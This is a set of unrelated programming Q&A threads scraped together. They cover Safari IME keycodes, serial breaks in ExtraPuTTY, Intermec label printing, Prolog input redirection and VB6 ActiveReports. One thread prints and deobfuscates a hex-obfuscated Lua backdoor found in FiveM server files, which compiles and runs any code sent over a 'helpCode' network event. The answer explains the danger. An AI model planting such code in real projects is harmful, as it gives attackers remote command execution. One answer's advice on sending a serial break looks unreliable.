I'm using ngTagsInput, Angular directive.
'addOnSpace' doesn't work in Safari(using 8.0.5) when IME(Input Method Editor) is processing.
Because keycode is some strange in Safari.
'addOnSpace' is triggerd by key-down.
https://github.com/mbenford/ngTagsInput/blob/master/src/tags-input.js#L372
And in only Safari, the keycode is not 32 but 229 when IME(Input Method Editor) is processing and we key-down space key.
Surely, W3C Draft says
If an Input Method Editor is processing key input and the event is
keydown, return 229
Is there any idea to use 'addOnSpace' even when IME is processing.

So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}

ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.
I am using ExtraPuTTY's Lua scripting capability to control a device over a serial port. There are multiple embedded modules in this device and a command which allows the console port to become a "tunnel" to an embedded module. To escape back to the device's command line interface a break must be sent. When typing commands at the keyboard I can select "Special Command" "Break" to send the break. How can I send a "break" from within a lua script?
I'm using lua_senddata() to send commands to the device. Is there another function to send a break? Is there an escape sequence that indicates break, kind of like \n indicates new line?
I am not sure if this is a general Lua question or an ExtraPuTTY specific issue.
That's a key-combo of CTRL-BREAK - https://en.wikipedia.org/wiki/Break_key
xev shows those keycodes as:
KeyPress event,
state 0x10, keycode 105 (keysym 0xffe4, Control_R)
KeyPress event,
state 0x14, keycode 127 (keysym 0xff6b, Break)
KeyRelease event,
state 0x14, keycode 127 (keysym 0xff6b, Break)
KeyRelease event,
state 0x14, keycode 105 (keysym 0xffe4, Control_R)
I believe you just need to send 0xffe4 0xff6b - according to this answer, you'd do so, like this:
Sending hex values via extraPuTTY adding erroneous data
lua_senddata( string.format( '%c%c%c%c', 0xff, 0xe4, 0xff, 0x6b ), false )

As i read in some fingerprint manual we can send text file to the printer. Means we can write the program in the text editor and send the whole program as a text file to the printer using the communication program using some transfer commands.
for in my host there is a file called myfile.txt in D:/ with the fallowing data
10 PRPOS 200,200
20 DIR 3
30 ALIGN 5
40 PRIMAGE “GLOBE.1”
50 PRINTFEED
RUN
How can i send this file to printer and execute the instrucations to print the image.
Please give me some code reference.
There are several ways to do this from the command line. For example:
type foo.txt > lpt1:
Or
copy foo.txt lpt1:
Or
print foo.txt
Or
notepad /p foo.txt
If you need to do it programmatically, you can execute any of those commands using the system() function or CreateProcess().
If you're on an Intermec handheld and you're connected to a Bluetooth printer, you should be able to open a serial port to COM6 and send your file over. What programming language? There should be plenty of Serial Port communication code examples out there.
My experience with Intermec PM4i label printer was a roller coaster but know I have a working app.
I tried Windows printer pipeline through generictext driver. It does work from Notepad but with few corner cases.
Printing directly from Notepad works fine until I tried QRCODE image with a very long text line. Image did not print out. Made qrcode text a short few characters and same script worked fine.
INPUT OFF
NASC 1252
BF OFF
FT "Swiss 721 Bold BT",12,0,100
PP 50,500:PT "Text line goes here"
PP 400,400:AN 7:BARSET "QRCODE",1,1,7,2,4
PB "ABC123 aabbcc....very long text goes here...I mean about 200 chars or more"
PRINTFEED
It was like Notepad cut text to a right side border and command string was broken. I made a printing preferences A3-landscape and it accepted longer text but still was not enough for all use cases.
All printers have a physical max printing width but it should not be considered in a fingerprint/directprotocol script files. After all we are not printing this text as-is but submitting commands to the printer.
My solution was to create Java application which opens a raw TCP socket to 11.22.33.44:9100 address and writes text lines, lines terminated by NL(#10). Works fine. Another helper tool I did was Delphi app.exe to read IP address from Windows printer object. I can submit label printouts "directly" from Excel application.
End users edit Excel data rows and click PRINT LABELS button
vba macro parses a fingerprint template file with ${FIELD1} find-and-replace substitutes
file is written to %wintemp%/intermec_script.txt folder
call app.exe to read IP address of user chosen printer
call java app to submit intermec_script.txt to IP:PORT socket
I should create same socket submit app in Delphi to drop javavm dependency but this solution was faster for my use case. I am more familiar with Java than my Delphi skill level.
I'm writing a prolog program with an input loop. A good deal of the input is pre-scripted in a response file. I execute this as prolog < response.txt. When the response file has finished, I would like the program to continue through keyboard user input. However, when the response file finishes, it does not read/1 from the keyboard, but continues to read in an endless loop end_of_file as its input.
I want the program to revert to user typed input once the pipe has reached the end of the file. How do I do this?
Thanks in advance.
It is possible to interrogate and redirect your input stream.
Not sure which version of Prolog you're using, but SWI-Prolog has plenty of methods for redirecting your input stream.
If the input is from a keyboard, TTY will equal true:
current_input(Stream), stream_property(Stream, tty(TTY)).
If the input is from a file, Filename will each the name of the file input is currently read from:
current_input(Stream), stream_property(Stream, file_name(Filename)).
You can set the Stream to use as an input with the set_input/1 predicate:
{obtain a Stream handle}, set_input(Stream).
I hope you can build upon this, as I haven't yet figured out how you're supposed to ask for the keyboard input Stream.
You might have to determine which OS you're running on and set up different methods for each OS to set your input to the keyboard stream.
I have a BEAST of a program written in VB6. It uses ActiveReports to generate letters.
The reports are processed in a loop; with verbage-building loops and (a whole lotta) nested 'if' and 'case' statements. Fugly!
The reports are sent to the printer like such:
Function PrintIt(ltrobj as Object)
Set ltrobj = MyARdocument '(.Dsr file)
ltrobj.txtfield1 = strVerbage 'This string was populated somewhere else
ltrobj.Printer.DisplayProgressDialog = False
ltrobj.PrintReport False
End Function
Now here's the weird part: The pages physically come out of the printer rotated 90 degrees each iteration of the loop. What's even weirder -- this only happens for my VB6 application -- other Word documents, reports, batch jobs, whatever come out normal.
So the first page comes out like normal, the header first (pointing North). The second page comes out sideways (header pointing West). The third comes out of the printer like the first, the fourth comes out like the second, and on and on...
The printer: A Ricoh Aficio MP5000
I cannot find a setting on the printer, or a property in ActiveReports that controls this.
Any ideas, help, or a general direction would be greatly appreciated!
Thanks,
Jason
There is no "rotation" setting in ActiveReports. The closest things that might impact this would be the page size and orientation, but at worst I would expect them to flip back and forth not actually rotate the page. I would try to do a few things:
Trace the printer & page settings related to orientation and page size as report prints.
Try printing to another printer to see if it happens on all printers or just this one.
Preview the reports on screen and see if they're rotated in the preview or not (or export them to PDF with report.Export(...) ad see if they're rotated there).
To trace page settings you should do it in a couple places. One on the printer, and another on each page (or Canvas) in the report. There is also the ActiveReport.PrintWidth (the width of the report, not the pages) that may also be relevant. So just before printing each report try tracing out the following values:
report.PrintWidth
' the default settings for the report
report.PageSettings.TopMargin
report.PageSettings.RightMargin
report.PageSettings.BottomMargin
report.PageSettings.LeftMargin
' actual printer's current settings:
report.Printer.PaperSize
report.Printer.PaperHeight
report.Printer.PaperWidth
report.Printer.Orientation
' settings for a specific page:
for each page in report.Pages:
report.Pages(...).Width
report.Pages(...).Height
report.Pages(...).Orientation
BTW: ActiveReports COM Help is here.
If the preview/PDF test seems okay then I'd focus on the printer itself. Same for the print to another printer obviously. Otherwise, focus on ActiveReports settings.
Hope this helps
